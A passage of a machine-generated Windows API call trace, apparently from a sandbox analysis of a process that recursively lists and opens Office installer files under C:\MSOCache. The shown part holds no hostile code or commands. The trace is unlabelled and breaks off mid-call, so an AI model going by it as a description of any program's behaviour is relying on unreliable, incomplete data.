ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0230.668] GetLastError () returned 0x12 [0230.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9cd8) returned 1 [0230.668] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0230.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9bd0) returned 1 [0230.669] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0230.669] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0230.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0230.669] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0230.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0230.944] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0230.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8fd690 [0230.944] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8fd690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8fd690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0230.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fd690) returned 1 [0230.944] NtClose (Handle=0x1b4) returned 0x0 [0230.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0230.945] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0230.945] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.945] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0230.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0230.945] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9bd0 [0230.945] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0231.007] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.007] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0231.007] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="")) returned 1 [0231.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.007] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.007] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9cd8 [0231.007] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0231.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4348 [0231.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb6a8 [0231.008] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.008] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="")) returned 1 [0231.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.008] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.008] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4368 [0231.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb7b0 [0231.008] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.008] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0231.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.008] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.008] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4388 [0231.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb8b8 [0231.008] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.008] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0231.008] GetLastError () returned 0x12 [0231.008] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0231.008] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0231.008] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.009] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0231.009] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb9c0 [0231.009] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0231.077] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0231.077] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0231.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8fd690 [0231.077] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8fd690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x8fd690, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0231.077] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fd690) returned 1 [0231.077] NtClose (Handle=0x1b4) returned 0x0 [0231.077] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fb9c0) returned 1 [0231.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0231.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb9c0 [0231.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fbac8 [0231.078] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0231.234] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.234] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="")) returned 1 [0231.234] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.234] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.234] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.234] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.234] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.234] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fbbd0 [0231.234] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0231.234] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f43a8 [0231.234] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fbcd8 [0231.234] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.234] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="")) returned 1 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.235] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.235] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f43c8 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fbde0 [0231.235] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.235] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.235] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.235] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f43e8 [0231.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fbee8 [0231.235] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.235] FindNextFileW (in: 